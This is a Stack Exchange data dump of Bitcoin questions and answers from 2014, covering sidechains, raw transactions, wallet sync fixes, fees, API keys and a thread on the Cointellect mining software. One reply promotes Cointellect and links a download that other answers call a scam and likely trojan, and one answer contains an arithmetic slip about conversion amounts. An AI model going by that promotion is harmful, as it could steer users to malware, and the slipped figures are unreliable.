  <row Id="32367" PostTypeId="1" AcceptedAnswerId="32376" CreationDate="2014-11-07T05:51:14.583" Score="2" ViewCount="444" Body="&lt;p&gt;&lt;strong&gt;How would mining, theoretically, work in Pegged Side chains?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If mining can be done on these side chains, then it seems like too many coins could be created. And once they were used in transactions, how could they be accounted for to know which coins can and which coins can't be moved back to the main chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If mining cannot be done on side chains, then it seems like the side chain system could be very insecure, unless there is another way to secure the system.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2016-04-10T09:47:39.447" LastActivityDate="2016-04-10T09:47:39.447" Title="Mining on Pegged Side Chains" Tags="|mining-reward|sidechains|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32368" PostTypeId="1" CreationDate="2014-11-07T06:00:31.563" Score="1" ViewCount="106" Body="&lt;p&gt;I use the internet at my work, at my house, and at various other places. The server can connect with other peers and get block data at all of these locations except for my home. What could be the reason for this? I also can't push to GitHub using SSH whenever I am at home, so I'm guessing these problems are related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried turning firewalls off, and resetting the router. I still always get the &quot;No block source available error&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is similar to the question asked &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12952/how-to-resolve-no-block-source-available-and/30731#30731&quot;&gt;here&lt;/a&gt;, but I think it is different because this question asks why it would be happening only on a particular internet connection.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-11-22T20:07:14.760" Title="Server cannot connect to Peers With Some Internet Connections" Tags="|network|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32369" PostTypeId="1" AcceptedAnswerId="32371" CreationDate="2014-11-07T15:08:16.950" Score="1" ViewCount="165" Body="&lt;p&gt;When i open Multibit it tries to sync then says error, unable to load block chain. I can't figure it out. Don't know what to do about it.&lt;/p&gt;&#xA;" OwnerUserId="20981" LastActivityDate="2014-11-08T16:30:33.983" Title="Multi coin won't sync error mac osx" Tags="|multibit|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32370" PostTypeId="2" ParentId="10395" CreationDate="2014-11-07T15:44:41.877" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://cointrack.net&quot; rel=&quot;nofollow&quot;&gt;Cointrack.net&lt;/a&gt; is a solution for users who need a convenient location to keep track of their various digital currencies stored in a variety of forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cointrack does not store your coin; instead it displays any number of &#xA;your address balances. It can also notify you of balance changes &#xA;via email. This streamlines the process of keeping tabs on all&#xA;of your addresses, especially if they are stored remotely and/or on paper.&lt;/p&gt;&#xA;" OwnerUserId="20982" LastEditorUserId="5406" LastEditDate="2014-11-07T15:54:59.800" LastActivityDate="2014-11-07T15:54:59.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32371" PostTypeId="2" ParentId="32369" CreationDate="2014-11-07T15:46:03.783" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Close Multibit&lt;/li&gt;&#xA;&lt;li&gt;Navigate to /Users/&amp;lt;username&amp;gt;/Library/Application Support/Multibit&lt;/li&gt;&#xA;&lt;li&gt;Rename multibit.spvchain to multibit2.spvchain&lt;/li&gt;&#xA;&lt;li&gt;Restart Multibit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-08T16:30:33.983" LastActivityDate="2014-11-08T16:30:33.983" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32372" PostTypeId="1" CreationDate="2014-11-07T16:32:29.370" Score="1" ViewCount="316" Body="&lt;p&gt;When I make a transaction spending an output on one machine (sending it to another locally owned address), and then broadcast it on the same machine, it all works fine, as below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(NODE A)&#xA;$ createrawtransaction '[{&quot;txid&quot;:&quot;1aa836ed53b595c282589b062876a81873c6c57146be4fb875bf7ee2dcfa3a12&quot;, &quot;vout&quot;:0}]' '{&quot;mfb33SCwSxuisQnPzhthgkDyDAu89QE66u&quot;:49}'&#xA;0100000001123afadce27ebf75b84fbe4671c5c67318a87628069b5882c295b553ed36a81a0000000000ffffffff0100111024010000001976a91400c5a092d0f915b13f3737cd2b5f7d585b42c18c88ac00000000&#xA;&#xA;(NODE A)&#xA;$ signrawtransaction 0100000001123afadce27ebf75b84fbe4671c5c67318a87628069b5882c295b553ed36a81a0000000000ffffffff0100111024010000001976a91400c5a092d0f915b13f3737cd2b5f7d585b42c18c88ac00000000&#xA;{&#xA;    &quot;hex&quot; :  &quot;0100000001123afadce27ebf75b84fbe4671c5c67318a87628069b5882c295b553ed36a81a000000004a493046022100e8789bad3b29f69ea24fa2faf113e111eec6f8688c348be9165c6a6005a257c30221008995bd09cddd4dbbdc9e8da9c00f48ffbdfcc3d7b194fbb23bb42a9a85cac4be01ffffffff0100111024010000001976a91400c5a092d0f915b13f3737cd2b5f7d585b42c18c88ac00000000&quot;,&#xA;    &quot;complete&quot; : true&#xA;}&#xA;&#xA;(NODE A)&#xA;$ sendrawtransaction 0100000001123afadce27ebf75b84fbe4671c5c67318a87628069b5882c295b553ed36a81a000000004a493046022100e8789bad3b29f69ea24fa2faf113e111eec6f8688c348be9165c6a6005a257c30221008995bd09cddd4dbbdc9e8da9c00f48ffbdfcc3d7b194fbb23bb42a9a85cac4be01ffffffff0100111024010000001976a91400c5a092d0f915b13f3737cd2b5f7d585b42c18c88ac00000000&#xA;45e6933a419d471b4ee18e7e3c82993f49e92289fc598454f20ef3edb7d4d4f1&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I do a very similar process, except doing the last part on the second machine, it fails.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(NODE A)&#xA;$ createrawtransaction '[{&quot;txid&quot;:&quot;043c11224a805a75d7b3342fb9be5abf5a34e146beccbc1b066b26cfb37bc714&quot;, &quot;vout&quot;:0}]' '{&quot;mfb33SCwSxuisQnPzhthgkDyDAu89QE66u&quot;:49}'&#xA;010000000114c77bb3cf266b061bbcccbe46e1345abf5abeb92f34b3d7755a804a22113c040000000000ffffffff0100111024010000001976a91400c5a092d0f915b13f3737cd2b5f7d585b42c18c88ac00000000&#xA;&#xA;(NODE A)&#xA;$ signrawtransaction 010000000114c77bb3cf266b061bbcccbe46e1345abf5abeb92f34b3d7755a804a22113c040000000000ffffffff0100111024010000001976a91400c5a092d0f915b13f3737cd2b5f7d585b42c18c88ac00000000&#xA;{&#xA;    &quot;hex&quot; :  &quot;010000000114c77bb3cf266b061bbcccbe46e1345abf5abeb92f34b3d7755a804a22113c04000000004847304402204f17daa828ab1ad36c163d5f2f8fed698f7a710af36c985fd10f65b1b310c217022015725d228ca257109881fc1b52aaf44e5fa333b5441102e9464f1e86f57a30fd01ffffffff0100111024010000001976a91400c5a092d0f915b13f3737cd2b5f7d585b42c18c88ac00000000&quot;,&#xA;    &quot;complete&quot; : true&#xA;}&#xA;&#xA;(NODE B)&#xA;$ sendrawtransaction 010000000114c77bb3cf266b061bbcccbe46e1345abf5abeb92f34b3d7755a804a22113c04000000004847304402204f17daa828ab1ad36c163d5f2f8fed698f7a710af36c985fd10f65b1b310c217022015725d228ca257109881fc1b52aaf44e5fa333b5441102e9464f1e86f57a30fd01ffffffff0100111024010000001976a91400c5a092d0f915b13f3737cd2b5f7d585b42c18c88ac00000000&#xA;error: {&quot;code&quot;:-22,&quot;message&quot;:&quot;TX rejected&quot;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: It seems like it will work if I do the create on NODE B as well. So the machine that does createrawtransaction has to be the same one that does the sendrawtransaction, even if it isn't the one that does the signing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: It seems to be the case, consistently, that the node that did the createrawtransaction can do the sendrawtransaction without fail. Why is this the case?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It seems that part of the problem may have been that I didn't set allowhighfees=true. Doesn't explain why the two above cases had this problem, though, because those two transactions had the same input and output amounts. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-11-12T20:16:55.523" LastActivityDate="2014-11-12T20:16:55.523" Title="Why would sending a raw transaction from a different node fail?" Tags="|sending|daemon|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32373" PostTypeId="2" ParentId="32230" CreationDate="2014-11-07T17:38:22.103" Score="1" Body="&lt;p&gt;You can check &lt;a href=&quot;http://bitcoinfees.com/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link  that explains everything clearly. So, I will summerize the content.&lt;br&gt;&lt;br&gt;&#xA;First of all, to spend &lt;em&gt;d&lt;/em&gt; bitcoins, you need to &lt;em&gt;have&lt;/em&gt; &lt;em&gt;d&lt;/em&gt; bitcoins in your wallet. So, you refer to all transactions (Say &lt;em&gt;T1&lt;/em&gt;, &lt;em&gt;T2&lt;/em&gt;, ..., &lt;em&gt;Tk&lt;/em&gt;) as inputs to your new spend transaction, from which you received at-least &lt;em&gt;d&lt;/em&gt; bitcoins collectively. As you may know already, to get the priority of a transaction you need to multiply the age of &lt;em&gt;Ti&lt;/em&gt; with its BTC value, sum over all i from 1 to k, and then divide this sum by your spend transaction size. Now, you need not calculate the exact size of the transaction, as you can use an approximation on the upper size limit &lt;code&gt;(USL)&lt;/code&gt; = &lt;code&gt;function(#i/p, #o/p)&lt;/code&gt;.&lt;br&gt;&lt;br&gt;&#xA;    &lt;code&gt;if((USL &amp;lt; 1000 bytes) and (priority &amp;gt;= 0.576)) then no txn fee is required&lt;/code&gt;&lt;br&gt;&#xA;    &lt;code&gt;else you need to pay at-least 0.0001 BTC per 1000 bytes of your spend txn.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="19182" LastEditorUserId="19182" LastEditDate="2014-11-07T18:01:32.720" LastActivityDate="2014-11-07T18:01:32.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32375" PostTypeId="2" ParentId="32331" CreationDate="2014-11-07T18:51:34.207" Score="2" Body="&lt;p&gt;As a fun fact I'd like to add that, if you take the null string as the public key and hash it, you'll get the address &lt;code&gt;1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E&lt;/code&gt;, which holds around 69.77 bitcoins. Unfortunately those are unspendable, as the address is generated probably by some software bug and doesn't likely have any private key associated with it.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://eprint.iacr.org/2013/734.pdf&quot; rel=&quot;nofollow&quot;&gt;Elliptic Curve Cryptography in Practice, page 11&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19182" LastActivityDate="2014-11-07T18:51:34.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32376" PostTypeId="2" ParentId="32367" CreationDate="2014-11-08T02:02:54.260" Score="3" Body="&lt;p&gt;Sidechains cannot create the same asset that is pegged to Bitcoins to use as a reward for mining. Obviously, it would be problematic if anyone could put in a certain amount of Bitcoins into a sidechain, and get out more/less than what was originally put in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are many other ways to reward miners. Transaction fees is one example that is also used in Bitcoin. The sidechains paper lists some alternative reward mechanisms in section 6.1 such as demurrage (percentage of held coins are redistributed automatically to miners) and creation of a seperate unpegged asset on the side chain to reward miners. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-11-08T02:02:54.260" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32377" PostTypeId="2" ParentId="32356" CreationDate="2014-11-08T06:07:14.857" Score="3" Body="&lt;p&gt;This is undoubtedly yet another scam. It's intent is the only question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first port of call seems obvious; &lt;a href=&quot;https://medium.com/@dnivi3/rolling-up-the-cointellect-scam-60787a30f9a4&quot; rel=&quot;nofollow&quot;&gt;Google &lt;em&gt;Is cointellect a scam?&lt;/em&gt;&lt;/a&gt; &#xA;Answer: yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pooling the CPU resources of every miner using this software would be a fraction of the power for even the oldest ASICs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an analogy, the site is saying individuals need to dig an open cut mine with their spoons while mining rigs (ie 50ft tall trucks) are carting away pay dirt to process. Pool all the spoons you like, there's simply no feasibility of any reward - but assuming the improbable, &lt;strong&gt;if&lt;/strong&gt; a block was mined, how is the ฿25 distributed? If you can't answer that then that's indicative of a scam. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the &quot;debate&quot; about some users saying they've seen returns; this is how scammers operate. They use shills (fake positive reviewers) claiming profits which never occurred. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether the scam is fruitlessly using CPU to try and mine is possible, but it's astronomically more likely the software is a vector for Trojans to steal your Bitcoin. These types of malicious &quot;mining&quot; software are simply identifying newbie Bitcoin users, infiltrating the OS with a Trojan/RAT/keylogger, then stealing your wallet / private keys if/when they become available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming a Windows installation, you're basically screwed. The software likely already has your login info, passwords, private keys, credit card details; any and all are likely compromised. I'd immediately disconnect from the Internet and do a fresh install of your OS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, research these things beforehand because so many of these services are popping up. Let's hope the Bitcoin Savings And Loan retroactive prosecution of running a Ponzi scheme sets a precedent and scares some would be scammers straight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/en/file/f7650cbae465847c493c6ee85479d8e1ea159124021d288755eca8827e97bc00/analysis/1409061088/&quot; rel=&quot;nofollow&quot;&gt;Virus analysis of software&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;SSL certificate owned by &lt;strong&gt;unknown&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Company name similar to banking conglomerate but not that company&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Take this info as you like. It's fact. Not libellous.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-11-11T22:46:44.023" LastActivityDate="2014-11-11T22:46:44.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32380" PostTypeId="2" ParentId="10395" CreationDate="2014-11-08T10:21:19.220" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Setup a Bitcoin-Core (formerly Bitcoin-Qt) wallet on a separate, offline computer.&lt;/li&gt;&#xA;&lt;li&gt;Import the private key.&lt;/li&gt;&#xA;&lt;li&gt;Protect the wallet with a long, random gibberish password.&lt;/li&gt;&#xA;&lt;li&gt;Forget or throw away the password.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You now effectively have a read-only wallet for your address, which you can safely use in other Bitcoin-Core installation, in online or potentially unsecure environments.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-11-08T10:21:19.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32381" PostTypeId="1" AcceptedAnswerId="32397" CreationDate="2014-11-08T10:30:53.107" Score="3" ViewCount="442" Body="&lt;p&gt;On &lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Wiki's page about Blocks&lt;/a&gt;, it says that &quot;Bitcoin transactions are broadcast to the network by the sender, and all peers trying to solve blocks collect the transaction records and add them to the block they're working to solve.&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, do all peers have the same transactions in their blocks at all times?&lt;/p&gt;&#xA;" OwnerUserId="20987" LastEditorUserId="5406" LastEditDate="2014-12-30T01:28:13.027" LastActivityDate="2014-12-30T01:28:13.027" Title="When miners are working on their block, does everybody's block have the same transactions in them?" Tags="|transactions|blockchain|block|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32382" PostTypeId="2" ParentId="32381" CreationDate="2014-11-08T11:23:40.723" Score="0" Body="&lt;p&gt;Well long answer is No because transactions take time to relay between all peers. If you send coins from a multibit wallet you can see how many peers have seen the transaction, however it takes some time to relay it to all the peers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a block is found, then ALL the peers get a notification that a new block was found and they add it to their respective chains. That is how all the peers stay synchronized on the same chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I answered your question!&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-11-08T11:23:40.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32383" PostTypeId="2" ParentId="32372" CreationDate="2014-11-08T11:30:04.133" Score="-2" Body="&lt;p&gt;The problem is when you createrawtransaction it never gets transmitted/relayed to the network. If you look at the bitcoin wiki for the rawtransaction you can see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;createrawtransaction [{&quot;txid&quot;:txid,&quot;vout&quot;:n},...] {address:amount,...}&#xA;Create a transaction spending given inputs (array of objects containing transaction outputs to spend), sending to given address(es). Returns the hex-encoded transaction in a string. Note that the transaction's inputs are not signed, and it is &lt;strong&gt;not stored in the wallet or transmitted to the network.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;same with signrawtransaction, it signs the create transacition that is stored in the leveldb or whatever db bitcoin uses but is not transmitted to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only when you issue the command sendrawtransaction does the signed transaction get transmitted to the peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I answered your question!&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-11-08T11:30:04.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32384" PostTypeId="2" ParentId="32346" CreationDate="2014-11-08T11:38:58.343" Score="0" Body="&lt;pre&gt;&lt;code&gt;int64_t nFees = 0;&#xA;int64_t minerValue = GetBlockValue(pindexPrev-&amp;gt;nHeight+1, nFees);&#xA;int64_t sharePerAddress = 0;&#xA;if (coinAddressStrings.size() == 0)&#xA;    minerValue -= fallbackReduction;&#xA;else&#xA;    sharePerAddress = roundint64((int64_t)share / (int64_t)coinAddressStrings.size());&#xA;&#xA;LogPrintf(&quot;coinAddressStrings: %d\n&quot;, coinAddressStrings.size());&#xA;for (unsigned int i=0; i&amp;lt;coinAddressStrings.size(); i++)&#xA;{&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code in miner.cpp. I think what you should try is changing the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sharePerAddress = roundint64((int64_t)share / (int64_t)coinAddressStrings.size());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sharePerAddress = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should remove any payment to the beneficiary.&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-11-08T11:38:58.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32387" PostTypeId="2" ParentId="32356" CreationDate="2014-11-08T18:26:05.917" Score="-5" Body="&lt;p&gt;Tell that to the Congress we made our presentation at in Brussels Belgium, and our happy member's forum growing daily @ &lt;a href=&quot;http://facebook.com/JoinCoIntellect&quot; rel=&quot;nofollow&quot;&gt;http://facebook.com/JoinCoIntellect&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then see our review of the conference on our post daily blog from there, along with our 24/7 support...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The definition of cloud mining?&lt;/strong&gt; Simply put, cloud mining means using (generally) shared processing power run from remote data center which we do^ more ways than one, if you researched we are OPEN SOURCE explained HERE; &lt;a href=&quot;http://cointellect.com/download/advanced&quot; rel=&quot;nofollow&quot;&gt;http://cointellect.com/download/advanced&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="20990" LastEditorUserId="65" LastEditDate="2014-11-14T02:10:43.360" LastActivityDate="2014-11-14T02:10:43.360" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="32388" PostTypeId="2" ParentId="20172" CreationDate="2014-11-08T20:46:51.983" Score="3" Body="&lt;p&gt;You can use open source Bitcoin Payment Processor Libriary - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cryptoapi/Payment-Gateway&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cryptoapi/Payment-Gateway&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20993" LastActivityDate="2014-11-08T20:46:51.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32389" PostTypeId="2" ParentId="5133" CreationDate="2014-11-08T20:49:28.710" Score="0" Body="&lt;p&gt;I used on client website open source Bitcoin Payment Libriary (php/mysql) -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cryptoapi/Payment-Gateway&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cryptoapi/Payment-Gateway&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20993" LastActivityDate="2014-11-08T20:49:28.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32390" PostTypeId="2" ParentId="32356" CreationDate="2014-11-08T21:51:51.470" Score="3" Body="&lt;h2&gt;Yes, Cointellect is a scam.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;See here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cointelegraph.com/news/112424/is-cointellect-a-scam&quot; rel=&quot;nofollow&quot;&gt;http://cointelegraph.com/news/112424/is-cointellect-a-scam&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=789970.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=789970.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://medium.com/@dnivi3/rolling-up-the-cointellect-scam-60787a30f9a4&quot; rel=&quot;nofollow&quot;&gt;https://medium.com/@dnivi3/rolling-up-the-cointellect-scam-60787a30f9a4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinnotbombs.com/on-the-cointellect-cloudhashing-scam-and-the-currency-of-reputation/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinnotbombs.com/on-the-cointellect-cloudhashing-scam-and-the-currency-of-reputation/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.1a20.com/category/cointellect-com/&quot; rel=&quot;nofollow&quot;&gt;http://www.1a20.com/category/cointellect-com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Cloud mining by definition does not require locally installed software.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2014-11-08T21:51:51.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32391" PostTypeId="1" CreationDate="2014-11-08T23:42:29.067" Score="1" ViewCount="186" Body="&lt;p&gt;I can see prices and do not understand how you buy Bitcoin. I was told you could buy as little as $1 worth.  What would you get for $100?  Nothing really helps me understand this.&lt;/p&gt;&#xA;" OwnerUserId="20995" LastEditorUserId="2306" LastEditDate="2014-11-09T00:09:04.220" LastActivityDate="2014-11-09T06:35:11.653" Title="Dont understand how to buy Bitcoin. Looked at sites but makes no sense to me" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="1" ClosedDate="2014-12-05T03:53:01.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="32392" PostTypeId="2" ParentId="4416" CreationDate="2014-11-09T00:25:26.167" Score="0" Body="&lt;p&gt;Unless you read and verify all the site's code (big task and impossible to verify for certain anyway, may be errors in your verification) OR provide your own private keys, there's no way to know the site isn't simply providing private keys from a pool (or mathematical subset) known to the site owner (or whoever may have hacked the site's code). THAT is the major risk. Client-side/server-side makes little difference. I'd even go so far as to say that whole concept (client-side) is &lt;em&gt;false reassurance&lt;/em&gt;. The question still comes down to, &lt;em&gt;do you trust the code you are running to provide genuinely random private keys&lt;/em&gt;. There's the whole rub.&lt;/p&gt;&#xA;" OwnerUserId="14236" LastEditorUserId="14236" LastEditDate="2014-11-09T00:32:21.620" LastActivityDate="2014-11-09T00:32:21.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32393" PostTypeId="2" ParentId="32391" CreationDate="2014-11-09T00:39:36.300" Score="1" Body="&lt;p&gt;Think of it like dollars and cents, pounds and pence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current exchange rate is US$350/BTC = $0.35/mBTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So $1 buys ~3 mBTC (ie ฿0.0003) . Likewise $100 buys ฿0.2895.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Bitcoins bought = (purchase amount) / (exchange rate)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is no different than any exchange rate. Check out &lt;a href=&quot;http://www.xe.com&quot; rel=&quot;nofollow&quot;&gt;XBT @ xe.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-11-09T00:39:36.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32394" PostTypeId="1" AcceptedAnswerId="32395" CreationDate="2014-11-09T01:20:29.387" Score="1" ViewCount="818" Body="&lt;p&gt;I dont know what I'm doing wrong, but everytime I try send post request &quot;&lt;a href=&quot;https://api.bitfinex.com/v1/balances&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.bitfinex.com/v1/balances&lt;/a&gt;&quot; or some else I got this answer &quot;Could not find a key matching the given X-BFX-APIKEY&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying some aplication, make-online-request-sites, my own program and code from this page &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25835/bitfinex-api-call-returns-400-bad-request&quot;&gt;BitFinex API call returns 400 bad request&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My api-key looks like dddd where d is digit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I dont know how looks like key-api. This should be first column on this site &lt;a href=&quot;https://www.bitfinex.com/account/api&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bitfinex.com/account/api&lt;/a&gt;, right? Second is api-secret. Really... I cant understand what I'm doing wrong...&lt;/p&gt;&#xA;" OwnerUserId="20997" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-11-09T02:21:03.753" Title="BitFinex API call returns 400 bad request - &quot;Could not find a key matching the given X-BFX-APIKEY&quot;" Tags="|api|authentication|bitfinex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32395" PostTypeId="2" ParentId="32394" CreationDate="2014-11-09T02:21:03.753" Score="0" Body="&lt;p&gt;You see the API key once, when it's generated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uBEls.png&quot; alt=&quot;bitfinex api key&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to generate another one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's sorta mystifying that they would show the API secret whenever you look at that page, but only show the API key once. I dunno why they did that.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-11-09T02:21:03.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32396" PostTypeId="2" ParentId="32391" CreationDate="2014-11-09T06:35:11.653" Score="0" Body="&lt;p&gt;I would suggest buying a small amount from localbitcoins.com as a trial, make sure you choose a seller with an excellent rating and feel free to ask them a couple of questions - you'll find they are more often then not really nice guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process generally involves you ordering a specific amount and paying via a bank transfer - you will be given their bank details once you submit the request. Login to your online banking and send the money, they will release the coins to your localbitcoins wallet once they see the payment in their bank account. You can then transfer the coins to a proper wallet as it's not advised to store coins there long-term.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-09T06:35:11.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
